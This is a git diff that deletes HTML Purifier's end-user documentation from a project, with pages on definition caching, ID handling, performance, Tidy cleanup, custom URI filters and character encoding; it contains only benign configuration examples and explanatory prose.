    - Perceptive users may have realized that, to a certain extent, we - have simply re-implemented the facilities of XML Schema or the - Document Type Definition. What you are seeing here, however, is - not just an XML Schema or Document Type Definition: it is a fully - expressive method of specifying the definition of HTML that is - a portable superset of the capabilities of the two above-mentioned schema - languages. What makes HTMLDefinition so powerful is the fact that - if we don't have an implementation for a content model or an attribute - definition, you can supply it yourself by writing a PHP class. -

    - -

    - There are many facets of HTMLDefinition beyond the Advanced API I have - walked you through today. To find out more about these, you can - check out these source files: -

    - - - -

    Notes for HTML Purifier 4.2.0 and earlier

    - -

    - Previously, this tutorial gave some incorrect template code for - editing raw definitions, and that template code will now produce the - error Due to a documentation error in previous version of HTML - Purifier... Here is how to mechanically transform old-style - code into new-style code. -

    - -

    - First, identify all code that edits the raw definition object, and - put it together. Ensure none of this code must be run on every - request; if some sub-part needs to always be run, move it outside - this block. Here is an example below, with the raw definition - object code bolded. -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    -$purifier = new HTMLPurifier($config);
    - -

    - Next, replace the raw definition retrieval with a - maybeGetRawHTMLDefinition method call inside an if conditional, and - place the editing code inside that if block. -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -if ($def = $config->maybeGetRawHTMLDefinition()) {
    -    $def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    -}
    -$purifier = new HTMLPurifier($config);
    - -

    - And you're done! Alternatively, if you're OK with not ever caching - your code, the following will still work and not emit warnings. -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    -$purifier = new HTMLPurifier($config);
    - -

    - A slightly less efficient version of this was what was going on with - old versions of HTML Purifier. -

    - -

    - Technical notes: ajh pointed out on in a forum topic that - HTML Purifier appeared to be repeatedly writing to the cache even - when a cache entry already existed. Investigation lead to the - discovery of the following infelicity: caching of customized - definitions didn't actually work! The problem was that even though - a cache file would be written out at the end of the process, there - was no way for HTML Purifier to say, Actually, I've already got a - copy of your work, no need to reconfigure your - customizations. This required the API to change: placing - all of the customizations to the raw definition object in a - conditional which could be skipped. -

    - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-id.html b/classes/security/htmlpurifier/docs/enduser-id.html deleted file mode 100644 index 53d2da248..000000000 --- a/classes/security/htmlpurifier/docs/enduser-id.html +++ /dev/null @@ -1,148 +0,0 @@ - - - - - - - -IDs - HTML Purifier - - - -

    IDs

    -
    What they are, why you should(n't) wear them, and how to deal with it
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Prior to HTML Purifier 1.2.0, this library blithely accepted user input that -looked like this:

    - -
    <a id="fragment">Anchor</a>
    - -

    ...presenting an attractive vector for those that would destroy standards -compliance: simply set the ID to one that is already used elsewhere in the -document and voila: validation breaks. There was a half-hearted attempt to -prevent this by allowing users to blacklist IDs, but I suspect that no one -really bothered, and thus, with the release of 1.2.0, IDs are now removed -by default.

    - -

    IDs, however, are quite useful functionality to have, so if users start -complaining about broken anchors you'll probably want to turn them back on -with %Attr.EnableID. But before you go mucking around with the config -object, it's probably worth to take some precautions to keep your page -validating. Why?

    - -
      -
    1. Standards-compliant pages are good
    2. -
    3. Duplicated IDs interfere with anchors. If there are two id="foobar"s in a - document, which spot does a browser presented with the fragment #foobar go - to? Most browsers opt for the first appearing ID, making it impossible - to references the second section. Similarly, duplicated IDs can hijack - client-side scripting that relies on the IDs of elements.
    4. -
    - -

    You have (currently) four ways of dealing with the problem.

    - - - -

    Blacklisting IDs

    -
    Good for pages with single content source and stable templates
    - -

    Keeping in terms with the -KISS principle, let us -deal with the most obvious solution: preventing users from using any IDs that -appear elsewhere on the document. The method is simple:

    - -
    $config->set('Attr.EnableID', true);
    -$config->set('Attr.IDBlacklist' array(
    -    'list', 'of', 'attribute', 'values', 'that', 'are', 'forbidden'
    -));
    - -

    That being said, there are some notable drawbacks. First of all, you have to -know precisely which IDs are being used by the HTML surrounding the user code. -This is easier said than done: quite often the page designer and the system -coder work separately, so the designer has to constantly be talking with the -coder whenever he decides to add a new anchor. Miss one and you open yourself -to possible standards-compliance issues.

    - -

    Furthermore, this position becomes untenable when a single web page must hold -multiple portions of user-submitted content. Since there's obviously no way -to find out before-hand what IDs users will use, the blacklist is helpless. -And since HTML Purifier validates each segment separately, perhaps doing -so at different times, it would be extremely difficult to dynamically update -the blacklist in between runs.

    - -

    Finally, simply destroying the ID is extremely un-userfriendly behavior: after -all, they might have simply specified a duplicate ID by accident.

    - -

    Thus, we get to our second method.

    - - - -

    Namespacing IDs

    -
    Lazy developer's way, but needs user education
    - -

    This method, too, is quite simple: add a prefix to all user IDs. With this -code:

    - -
    $config->set('Attr.EnableID', true);
    -$config->set('Attr.IDPrefix', 'user_');
    - -

    ...this:

    - -
    <a id="foobar">Anchor!</a>
    - -

    ...turns into:

    - -
    <a id="user_foobar">Anchor!</a>
    - -

    As long as you don't have any IDs that start with user_, collisions are -guaranteed not to happen. The drawback is obvious: if a user submits -id="foobar", they probably expect to be able to reference their page with -#foobar. You'll have to tell them, "No, that doesn't work, you have to add -user_ to the beginning."

    - -

    And yes, things get hairier. Even with a nice prefix, we still have done -nothing about multiple HTML Purifier outputs on one page. Thus, we have -a second configuration value to piggy-back off of: %Attr.IDPrefixLocal:

    - -
    $config->set('Attr.IDPrefixLocal', 'comment' . $id . '_');
    - -

    This new attributes does nothing but append on to regular IDPrefix, but is -special in that it is volatile: it's value is determined at run-time and -cannot possibly be cordoned into, say, a .ini config file. As for what to -put into the directive, is up to you, but I would recommend the ID number -the text has been assigned in the database. Whatever you pick, however, it -has to be unique and stable for the text you are validating. Note, however, -that we require that %Attr.IDPrefix be set before you use this directive.

    - -

    And also remember: the user has to know what this prefix is too!

    - - - -

    Abstinence

    - -

    You may not want to bother. That's okay too, just don't enable IDs.

    - -

    Personally, I would take this road whenever user-submitted content would be -possibly be shown together on one page. Why a blog comment would need to use -anchors is beyond me.

    - - - -

    Denial

    - -

    To revert back to pre-1.2.0 behavior, simply:

    - -
    $config->set('Attr.EnableID', true);
    - -

    Don't come crying to me when your page mysteriously stops validating, though.

    - - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-overview.txt b/classes/security/htmlpurifier/docs/enduser-overview.txt deleted file mode 100644 index fe7f8705d..000000000 --- a/classes/security/htmlpurifier/docs/enduser-overview.txt +++ /dev/null @@ -1,59 +0,0 @@ - -HTML Purifier - by Edward Z. Yang - -There are a number of ad hoc HTML filtering solutions out there on the web -(some examples including HTML_Safe, kses and SafeHtmlChecker.class.php) that -claim to filter HTML properly, preventing malicious JavaScript and layout -breaking HTML from getting through the parser. None of them, however, -demonstrates a thorough knowledge of neither the DTD that defines the HTML -nor the caveats of HTML that cannot be expressed by a DTD. Configurable -filters (such as kses or PHP's built-in striptags() function) have trouble -validating the contents of attributes and can be subject to security attacks -due to poor configuration. Other filters take the naive approach of -blacklisting known threats and tags, failing to account for the introduction -of new technologies, new tags, new attributes or quirky browser behavior. - -However, HTML Purifier takes a different approach, one that doesn't use -specification-ignorant regexes or narrow blacklists. HTML Purifier will -decompose the whole document into tokens, and rigorously process the tokens by: -removing non-whitelisted elements, transforming bad practice tags like -into , properly checking the nesting of tags and their children and -validating all attributes according to their RFCs. - -To my knowledge, there is nothing like this on the web yet. Not even MediaWiki, -which allows an amazingly diverse mix of HTML and wikitext in its documents, -gets all the nesting quirks right. Existing solutions hope that no JavaScript -will slip through, but either do not attempt to ensure that the resulting -output is valid XHTML or send the HTML through a draconic XML parser (and yet -still get the nesting wrong: SafeHtmlChecker.class.php does not prevent -tags from being nested within each other). - -This document no longer is a detailed description of how HTMLPurifier works, -as those descriptions have been moved to the appropriate code. The first -draft was drawn up after two rough code sketches and the implementation of a -forgiving lexer. You may also be interested in the unit tests located in the -tests/ folder, which provide a living document on how exactly the filter deals -with malformed input. - -In summary (see corresponding classes for more details): - -1. Parse document into an array of tag and text tokens (Lexer) -2. Remove all elements not on whitelist and transform certain other elements - into acceptable forms (i.e. ) -3. Make document well formed while helpfully taking into account certain quirks, - such as the fact that

    tags traditionally are closed by other block-level - elements. -4. Run through all nodes and check children for proper order (especially - important for tables). -5. Validate attributes according to more restrictive definitions based on the - RFCs. -6. Translate back into a string. (Generator) - -HTML Purifier is best suited for documents that require a rich array of -HTML tags. Things like blog comments are, in all likelihood, most appropriately -written in an extremely restrictive set of markup that doesn't require -all this functionality (or not written in HTML at all), although this may -be changing in the future with the addition of levels of filtering. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/enduser-security.txt b/classes/security/htmlpurifier/docs/enduser-security.txt deleted file mode 100644 index 518f092bd..000000000 --- a/classes/security/htmlpurifier/docs/enduser-security.txt +++ /dev/null @@ -1,18 +0,0 @@ - -Security - -Like anything that claims to afford security, HTML_Purifier can be circumvented -through negligence of people. This class will do its job: no more, no less, -and it's up to you to provide it the proper information and proper context -to be effective. Things to remember: - -1. Character Encoding: see enduser-utf8.html for more info. - -2. IDs: see enduser-id.html for more info - -3. URIs: see enduser-uri-filter.html - -4. CSS: document pending -Explain which CSS styles we blocked and why. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/enduser-slow.html b/classes/security/htmlpurifier/docs/enduser-slow.html deleted file mode 100644 index f0ea02de1..000000000 --- a/classes/security/htmlpurifier/docs/enduser-slow.html +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - -Speeding up HTML Purifier - HTML Purifier - - - -

    Speeding up HTML Purifier

    -
    ...also known as the HELP ME LIBRARY IS TOO SLOW MY PAGE TAKE TOO LONG page
    - -
    Filed under End-User
    -
    -
    HTML Purifier End-User Documentation
    - -

    HTML Purifier is a very powerful library. But with power comes great -responsibility, in the form of longer execution times. Remember, this -library isn't lightly grazing over submitted HTML: it's deconstructing -the whole thing, rigorously checking the parts, and then putting it back -together.

    - -

    So, if it so turns out that HTML Purifier is kinda too slow for outbound -filtering, you've got a few options:

    - -

    Inbound filtering

    - -

    Perform filtering of HTML when it's submitted by the user. Since the -user is already submitting something, an extra half a second tacked on -to the load time probably isn't going to be that huge of a problem. -Then, displaying the content is a simple a manner of outputting it -directly from your database/filesystem. The trouble with this method is -that your user loses the original text, and when doing edits, will be -handling the filtered text. While this may be a good thing, especially -if you're using a WYSIWYG editor, it can also result in data-loss if a -user makes a typo.

    - -

    Example (non-functional):

    - -
    <?php
    -    /**
    -     * FORM SUBMISSION PAGE
    -     * display_error($message) : displays nice error page with message
    -     * display_success() : displays a nice success page
    -     * display_form() : displays the HTML submission form
    -     * database_insert($html) : inserts data into database as new row
    -     */
    -    if (!empty($_POST)) {
    -        require_once '/path/to/library/HTMLPurifier.auto.php';
    -        require_once 'HTMLPurifier.func.php';
    -        $dirty_html = isset($_POST['html']) ? $_POST['html'] : false;
    -        if (!$dirty_html) {
    -            display_error('You must write some HTML!');
    -        }
    -        $html = HTMLPurifier($dirty_html);
    -        database_insert($html);
    -        display_success();
    -        // notice that $dirty_html is *not* saved
    -    } else {
    -        display_form();
    -    }
    -?>
    - -

    Caching the filtered output

    - -

    Accept the submitted text and put it unaltered into the database, but -then also generate a filtered version and stash that in the database. -Serve the filtered version to readers, and the unaltered version to -editors. If need be, you can invalidate the cache and have the cached -filtered version be regenerated on the first page view. Pros? Full data -retention. Cons? It's more complicated, and opens other editors up to -XSS if they are using a WYSIWYG editor (to fix that, they'd have to be -able to get their hands on the *really* original text served in -plaintext mode).

    - -

    Example (non-functional):

    - -
    <?php
    -    /**
    -     * VIEW PAGE
    -     * display_error($message) : displays nice error page with message
    -     * cache_get($id) : retrieves HTML from fast cache (db or file)
    -     * cache_insert($id, $html) : inserts good HTML into cache system
    -     * database_get($id) : retrieves raw HTML from database
    -     */
    -    $id = isset($_GET['id']) ? (int) $_GET['id'] : false;
    -    if (!$id) {
    -        display_error('Must specify ID.');
    -        exit;
    -    }
    -    $html = cache_get($id); // filesystem or database
    -    if ($html === false) {
    -        // cache didn't have the HTML, generate it
    -        $raw_html = database_get($id);
    -        require_once '/path/to/library/HTMLPurifier.auto.php';
    -        require_once 'HTMLPurifier.func.php';
    -        $html = HTMLPurifier($raw_html);
    -        cache_insert($id, $html);
    -    }
    -    echo $html;
    -?>
    - -

    Summary

    - -

    In short, inbound filtering is the simple option and caching is the -robust option (albeit with bigger storage requirements).

    - -

    There is a third option, independent of the two we've discussed: profile -and optimize HTMLPurifier yourself. Be sure to report back your results -if you decide to do that! Especially if you port HTML Purifier to C++. -;-)

    - - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-tidy.html b/classes/security/htmlpurifier/docs/enduser-tidy.html deleted file mode 100644 index a243f7fc2..000000000 --- a/classes/security/htmlpurifier/docs/enduser-tidy.html +++ /dev/null @@ -1,231 +0,0 @@ - - - - - - - -Tidy - HTML Purifier - - - -

    Tidy

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    You've probably heard of HTML Tidy, Dave Raggett's little piece -of software that cleans up poorly written HTML. Let me say it straight -out:

    - -

    This ain't HTML Tidy!

    - -

    Rather, Tidy stands for a cool set of Tidy-inspired features in HTML Purifier -that allows users to submit deprecated elements and attributes and get -valid strict markup back. For example:

    - -
    <center>Centered</center>
    - -

    ...becomes:

    - -
    <div style="text-align:center;">Centered</div>
    - -

    ...when this particular fix is run on the HTML. This tutorial will give -you the lowdown of what exactly HTML Purifier will do when Tidy -is on, and how to fine-tune this behavior. Once again, you do -not need Tidy installed on your PHP to use these features!

    - -

    What does it do?

    - -

    Tidy will do several things to your HTML:

    - -
      -
    • Convert deprecated elements and attributes to standards-compliant - alternatives
    • -
    • Enforce XHTML compatibility guidelines and other best practices
    • -
    • Preserve data that would normally be removed as per W3C
    • -
    - -

    What are levels?

    - -

    Levels describe how aggressive the Tidy module should be when -cleaning up HTML. There are four levels to pick: none, light, medium -and heavy. Each of these levels has a well-defined set of behavior -associated with it, although it may change depending on your doctype.

    - -
    -
    light
    -
    This is the lenient level. If a tag or attribute - is about to be removed because it isn't supported by the - doctype, Tidy will step in and change into an alternative that - is supported.
    -
    medium
    -
    This is the correctional level. At this level, - all the functions of light are performed, as well as some extra, - non-essential best practices enforcement. Changes made on this - level are very benign and are unlikely to cause problems.
    -
    heavy
    -
    This is the aggressive level. If a tag or - attribute is deprecated, it will be converted into a non-deprecated - version, no ifs ands or buts.
    -
    - -

    By default, Tidy operates on the medium level. You can -change the level of cleaning by setting the %HTML.TidyLevel configuration -directive:

    - -
    $config->set('HTML.TidyLevel', 'heavy'); // burn baby burn!
    - -

    Is the light level really light?

    - -

    It depends on what doctype you're using. If your documents are HTML -4.01 Transitional, HTML Purifier will be lazy -and won't clean up your center -or font tags. But if you're using HTML 4.01 Strict, -HTML Purifier has no choice: it has to convert them, or they will -be nuked out of existence. So while light on Transitional will result -in little to no changes, light on Strict will still result in quite -a lot of fixes.

    - -

    This is different behavior from 1.6 or before, where deprecated -tags in transitional documents would -always be cleaned up regardless. This is also better behavior.

    - -

    My pages look different!

    - -

    HTML Purifier is tasked with converting deprecated tags and -attributes to standards-compliant alternatives, which usually -need copious amounts of CSS. It's also not foolproof: sometimes -things do get lost in the translation. This is why when HTML Purifier -can get away with not doing cleaning, it won't; this is why -the default value is medium and not heavy.

    - -

    Fortunately, only a few attributes have problems with the switch -over. They are described below:

    - - - - - - - - - - - - - - - - - - - - - - - - -
    Element@AttrChanges
    caption@alignFirefox supports stuffing the caption on the - left and right side of the table, a feature that - Internet Explorer, understandably, does not have. - When align equals right or left, the text will simply - be aligned on the left or right side.
    img@alignThe implementation for align bottom is good, but not - perfect. There are a few pixel differences.
    br@clearClear both gets a little wonky in Internet Explorer. Haven't - really been able to figure out why.
    hr@noshadeAll browsers implement this slightly differently: we've - chosen to make noshade horizontal rules gray.
    - -

    There are a few more minor, although irritating, bugs. -Some older browsers support deprecated attributes, -but not CSS. Transformed elements and attributes will look unstyled -to said browsers. Also, CSS precedence is slightly different for -inline styles versus presentational markup. In increasing precedence:

    - -
      -
    1. Presentational attributes
    2. -
    3. External style sheets
    4. -
    5. Inline styling
    6. -
    - -

    This means that styling that may have been masked by external CSS -declarations will start showing up (a good thing, perhaps). Finally, -if you've turned off the style attribute, almost all of -these transformations will not work. Sorry mates.

    - -

    You can review the rendering before and after of these transformations -by consulting the attrTransform.php -smoketest.

    - -

    I like the general idea, but the specifics bug me!

    - -

    So you want HTML Purifier to clean up your HTML, but you're not -so happy about the br@clear implementation. That's perfectly fine! -HTML Purifier will make accomodations:

    - -
    $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
    -$config->set('HTML.TidyLevel', 'heavy'); // all changes, minus...
    -$config->set('HTML.TidyRemove', 'br@clear');
    - -

    That third line does the magic, removing the br@clear fix -from the module, ensuring that <br clear="both" /> -will pass through unharmed. The reverse is possible too:

    - -
    $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
    -$config->set('HTML.TidyLevel', 'none'); // no changes, plus...
    -$config->set('HTML.TidyAdd', 'p@align');
    - -

    In this case, all transformations are shut off, except for the p@align -one, which you found handy.

    - -

    To find out what the names of fixes you want to turn on or off are, -you'll have to consult the source code, specifically the files in -HTMLPurifier/HTMLModule/Tidy/. There is, however, a -general syntax:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    NameExampleInterpretation
    elementfontTag transform for element
    element@attrbr@clearAttribute transform for attr on element
    @attr@langGlobal attribute transform for attr
    e#content_model_typeblockquote#content_model_typeChange of child processing implementation for e
    - -

    So... what's the lowdown?

    - -

    The lowdown is, quite frankly, HTML Purifier's default settings are -probably good enough. The next step is to bump the level up to heavy, -and if that still doesn't satisfy your appetite, do some fine-tuning. -Other than that, don't worry about it: this all works silently and -effectively in the background.

    - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-uri-filter.html b/classes/security/htmlpurifier/docs/enduser-uri-filter.html deleted file mode 100644 index d1b3354a3..000000000 --- a/classes/security/htmlpurifier/docs/enduser-uri-filter.html +++ /dev/null @@ -1,204 +0,0 @@ - - - - - - - -URI Filters - HTML Purifier - - - -

    URI Filters

    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - This is a quick and dirty document to get you on your way to writing - custom URI filters for your own URL filtering needs. Why would you - want to write a URI filter? If you need URIs your users put into - HTML to magically change into a different URI, this is - exactly what you need! -

    - -

    Creating the class

    - -

    - Any URI filter you make will be a subclass of HTMLPurifier_URIFilter. - The scaffolding is thus: -

    - -
    class HTMLPurifier_URIFilter_NameOfFilter extends HTMLPurifier_URIFilter
    -{
    -    public $name = 'NameOfFilter';
    -    public function prepare($config) {}
    -    public function filter(&$uri, $config, $context) {}
    -}
    - -

    - Fill in the variable $name with the name of your filter, and - take a look at the two methods. prepare() is an initialization - method that is called only once, before any filtering has been done of the - HTML. Use it to perform any costly setup work that only needs to be done - once. filter() is the guts and innards of our filter: - it takes the URI and does whatever needs to be done to it. -

    - -

    - If you've worked with HTML Purifier, you'll recognize the $config - and $context parameters. On the other hand, $uri - is something unique to this section of the application: it's a - HTMLPurifier_URI object. The interface is thus: -

    - -
    class HTMLPurifier_URI
    -{
    -    public $scheme, $userinfo, $host, $port, $path, $query, $fragment;
    -    public function HTMLPurifier_URI($scheme, $userinfo, $host, $port, $path, $query, $fragment);
    -    public function toString();
    -    public function copy();
    -    public function getSchemeObj($config, $context);
    -    public function validate($config, $context);
    -}
    - -

    - The first three methods are fairly self-explanatory: you have a constructor, - a serializer, and a cloner. Generally, you won't be using them when - you are manipulating the URI objects themselves. - getSchemeObj() is a special purpose method that returns - a HTMLPurifier_URIScheme object corresponding to the specific - URI at hand. validate() performs general-purpose validation - on the internal components of a URI. Once again, you don't need to - worry about these: they've already been handled for you. -

    - -

    URI format

    - -

    - As a URIFilter, we're interested in the member variables of the URI object. -

    - - - - - - - - - -
    Scheme The protocol for identifying (and possibly locating) a resource (http, ftp, https)
    Userinfo User information such as a username (bob)
    Host Domain name or IP address of the server (example.com, 127.0.0.1)
    Port Network port number for the server (80, 12345)
    Path Data that identifies the resource, possibly hierarchical (/path/to, ed@example.com)
    Query String of information to be interpreted by the resource (?q=search-term)
    Fragment Additional information for the resource after retrieval (#bookmark)
    - -

    - Because the URI is presented to us in this form, and not - http://bob@example.com:8080/foo.php?q=string#hash, it saves us - a lot of trouble in having to parse the URI every time we want to filter - it. For the record, the above URI has the following components: -

    - - - - - - - - - -
    Scheme http
    Userinfo bob
    Host example.com
    Port 8080
    Path /foo.php
    Query q=string
    Fragment hash
    - -

    - Note that there is no question mark or octothorpe in the query or - fragment: these get removed during parsing. -

    - -

    - With this information, you can get straight to implementing your - filter() method. But one more thing... -

    - -

    Return value: Boolean, not URI

    - -

    - You may have noticed that the URI is being passed in by reference. - This means that whatever changes you make to it, those changes will - be reflected in the URI object the callee had. Do not - return the URI object: it is unnecessary and will cause bugs. - Instead, return a boolean value, true if the filtering was successful, - or false if the URI is beyond repair and needs to be axed. -

    - -

    - Let's suppose I wanted to write a filter that converted links with a - custom image scheme to its corresponding real path on - our website: -

    - -
    class HTMLPurifier_URIFilter_TransformImageScheme extends HTMLPurifier_URIFilter
    -{
    -    public $name = 'TransformImageScheme';
    -    public function filter(&$uri, $config, $context) {
    -        if ($uri->scheme !== 'image') return true;
    -        $img_name = $uri->path;
    -        // Overwrite the previous URI object
    -        $uri = new HTMLPurifier_URI('http', null, null, null, '/img/' . $img_name . '.png', null, null);
    -        return true;
    -    }
    -}
    - -

    - Notice I did not return $uri;. This filter would turn - image:Foo into /img/Foo.png. -

    - -

    Activating your filter

    - -

    - Having a filter is all well and good, but you need to tell HTML Purifier - to use it. Fortunately, this part's simple: -

    - -
    $uri = $config->getDefinition('URI');
    -$uri->addFilter(new HTMLPurifier_URIFilter_NameOfFilter(), $config);
    - -

    - After adding a filter, you won't be able to set configuration directives. - Structure your code accordingly. -

    - - - -

    Post-filter

    - -

    - Remember our TransformImageScheme filter? That filter acted before we had - performed scheme validation; otherwise, the URI would have been filtered - out when it was discovered that there was no image scheme. Well, a post-filter - is run after scheme specific validation, so it's ideal for bulk - post-processing of URIs, including munging. To specify a URI as a post-filter, - set the $post member variable to TRUE. -

    - -
    class HTMLPurifier_URIFilter_MyPostFilter extends HTMLPurifier_URIFilter
    -{
    -    public $name = 'MyPostFilter';
    -    public $post = true;
    -    // ... extra code here
    -}
    -
    - -

    Examples

    - -

    - Check the - URIFilter - directory for more implementation examples, and see the - new directives proposal document for ideas on what could be implemented - as a filter. -

    - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-utf8.html b/classes/security/htmlpurifier/docs/enduser-utf8.html deleted file mode 100644 index 9b01a302a..000000000 --- a/classes/security/htmlpurifier/docs/enduser-utf8.html +++ /dev/null @@ -1,1060 +0,0 @@ - - - - - - - - -UTF-8: The Secret of Character Encoding - HTML Purifier - - - - - -

    UTF-8: The Secret of Character Encoding

    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Character encoding and character sets are not that -difficult to understand, but so many people blithely stumble -through the worlds of programming without knowing what to actually -do about it, or say "Ah, it's a job for those internationalization -experts." No, it is not! This document will walk you through -determining the encoding of your system and how you should handle -this information. It will stay away from excessive discussion on -the internals of character encoding.

    - -

    This document is not designed to be read in its entirety: it will -slowly introduce concepts that build on each other: you need not get to -the bottom to have learned something new. However, I strongly -recommend you read all the way to Why UTF-8?, because at least -at that point you'd have made a conscious decision not to migrate, -which can be a rewarding (but difficult) task.

    - -
    -
    Asides
    -

    Text in this formatting is an aside, - interesting tidbits for the curious but not strictly necessary material to - do the tutorial. If you read this text, you'll come out - with a greater understanding of the underlying issues.

    -
    - -

    Table of Contents

    - -
      -
    1. Finding the real encoding
    2. -
    3. Finding the embedded encoding
    4. -
    5. Fixing the encoding
        -
      1. No embedded encoding
      2. -
      3. Embedded encoding disagrees
      4. -
      5. Changing the server encoding
          -
        1. PHP header() function
        2. -
        3. PHP ini directive
        4. -
        5. Non-PHP
        6. -
        7. .htaccess
        8. -
        9. File extensions
        10. -
      6. -
      7. XML
      8. -
      9. Inside the process
      10. -
    6. -
    7. Why UTF-8?
        -
      1. Internationalization
      2. -
      3. User-friendly
      4. -
      5. Forms
          -
        1. application/x-www-form-urlencoded
        2. -
        3. multipart/form-data
        4. -
      6. -
      7. Well supported
      8. -
      9. HTML Purifiers
      10. -
    8. -
    9. Migrate to UTF-8
        -
      1. Configuring your database
          -
        1. Legit method
        2. -
        3. Binary
        4. -
      2. -
      3. Text editor
      4. -
      5. Byte Order Mark (headers already sent!)
      6. -
      7. Fonts
          -
        1. Obscure scripts
        2. -
        3. Occasional use
        4. -
      8. -
      9. Dealing with variable width in functions
      10. -
    10. -
    11. Further Reading
    12. -
    - -

    Finding the real encoding

    - -

    In the beginning, there was ASCII, and things were simple. But they -weren't good, for no one could write in Cyrillic or Thai. So there -exploded a proliferation of character encodings to remedy the problem -by extending the characters ASCII could express. This ridiculously -simplified version of the history of character encodings shows us that -there are now many character encodings floating around.

    - -
    -

    A character encoding tells the computer how to - interpret raw zeroes and ones into real characters. It - usually does this by pairing numbers with characters.

    -

    There are many different types of character encodings floating - around, but the ones we deal most frequently with are ASCII, - 8-bit encodings, and Unicode-based encodings.

    -
      -
    • ASCII is a 7-bit encoding based on the - English alphabet.
    • -
    • 8-bit encodings are extensions to ASCII - that add a potpourri of useful, non-standard characters - like é and æ. They can only add 127 characters, - so usually only support one script at a time. When you - see a page on the web, chances are it's encoded in one - of these encodings.
    • -
    • Unicode-based encodings implement the - Unicode standard and include UTF-8, UTF-16 and UTF-32/UCS-4. - They go beyond 8-bits and support almost - every language in the world. UTF-8 is gaining traction - as the dominant international encoding of the web.
    • -
    -
    - -

    The first step of our journey is to find out what the encoding of -your website is. The most reliable way is to ask your -browser:

    - -
    -
    Mozilla Firefox
    -
    Tools > Page Info: Encoding
    -
    Internet Explorer
    -
    View > Encoding: bulleted item is unofficial name
    -
    - -

    Internet Explorer won't give you the MIME (i.e. useful/real) name of the -character encoding, so you'll have to look it up using their description. -Some common ones:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    IE's DescriptionMime Name
    Windows
    Arabic (Windows)Windows-1256
    Baltic (Windows)Windows-1257
    Central European (Windows)Windows-1250
    Cyrillic (Windows)Windows-1251
    Greek (Windows)Windows-1253
    Hebrew (Windows)Windows-1255
    Thai (Windows)TIS-620
    Turkish (Windows)Windows-1254
    Vietnamese (Windows)Windows-1258
    Western European (Windows)Windows-1252
    ISO
    Arabic (ISO)ISO-8859-6
    Baltic (ISO)ISO-8859-4
    Central European (ISO)ISO-8859-2
    Cyrillic (ISO)ISO-8859-5
    Estonian (ISO)ISO-8859-13
    Greek (ISO)ISO-8859-7
    Hebrew (ISO-Logical)ISO-8859-8-l
    Hebrew (ISO-Visual)ISO-8859-8
    Latin 9 (ISO)ISO-8859-15
    Turkish (ISO)ISO-8859-9
    Western European (ISO)ISO-8859-1
    Other
    Chinese Simplified (GB18030)GB18030
    Chinese Simplified (GB2312)GB2312
    Chinese Simplified (HZ)HZ
    Chinese Traditional (Big5)Big5
    Japanese (Shift-JIS)Shift_JIS
    Japanese (EUC)EUC-JP
    KoreanEUC-KR
    Unicode (UTF-8)UTF-8
    - -

    Internet Explorer does not recognize some of the more obscure -character encodings, and having to lookup the real names with a table -is a pain, so I recommend using Mozilla Firefox to find out your -character encoding.

    - -

    Finding the embedded encoding

    - -

    At this point, you may be asking, "Didn't we already find out our -encoding?" Well, as it turns out, there are multiple places where -a web developer can specify a character encoding, and one such place -is in a META tag:

    - -
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    - -

    You'll find this in the HEAD section of an HTML document. -The text to the right of charset= is the "claimed" -encoding: the HTML claims to be this encoding, but whether or not this -is actually the case depends on other factors. For now, take note -if your META tag claims that either:

    - -
      -
    1. The character encoding is the same as the one reported by the - browser,
    2. -
    3. The character encoding is different from the browser's, or
    4. -
    5. There is no META tag at all! (horror, horror!)
    6. -
    - -

    Fixing the encoding

    - -

    The advice given here is for pages being served as -vanilla text/html. Different practices must be used -for application/xml or application/xml+xhtml, see -W3C's -document on XHTML media types for more information.

    - -

    If your META encoding and your real encoding match, -savvy! You can skip this section. If they don't...

    - -

    No embedded encoding

    - -

    If this is the case, you'll want to add in the appropriate -META tag to your website. It's as simple as copy-pasting -the code snippet above and replacing UTF-8 with whatever is the mime name -of your real encoding.

    - -
    -

    For all those skeptics out there, there is a very good reason - why the character encoding should be explicitly stated. When the - browser isn't told what the character encoding of a text is, it - has to guess: and sometimes the guess is wrong. Hackers can manipulate - this guess in order to slip XSS past filters and then fool the - browser into executing it as active code. A great example of this - is the Google UTF-7 - exploit.

    -

    You might be able to get away with not specifying a character - encoding with the META tag as long as your webserver - sends the right Content-Type header, but why risk it? Besides, if - the user downloads the HTML file, there is no longer any webserver - to define the character encoding.

    -
    - -

    Embedded encoding disagrees

    - -

    This is an extremely common mistake: another source is telling -the browser what the -character encoding is and is overriding the embedded encoding. This -source usually is the Content-Type HTTP header that the webserver (i.e. -Apache) sends. A usual Content-Type header sent with a page might -look like this:

    - -
    Content-Type: text/html; charset=ISO-8859-1
    - -

    Notice how there is a charset parameter: this is the webserver's -way of telling a browser what the character encoding is, much like -the META tags we touched upon previously.

    - -

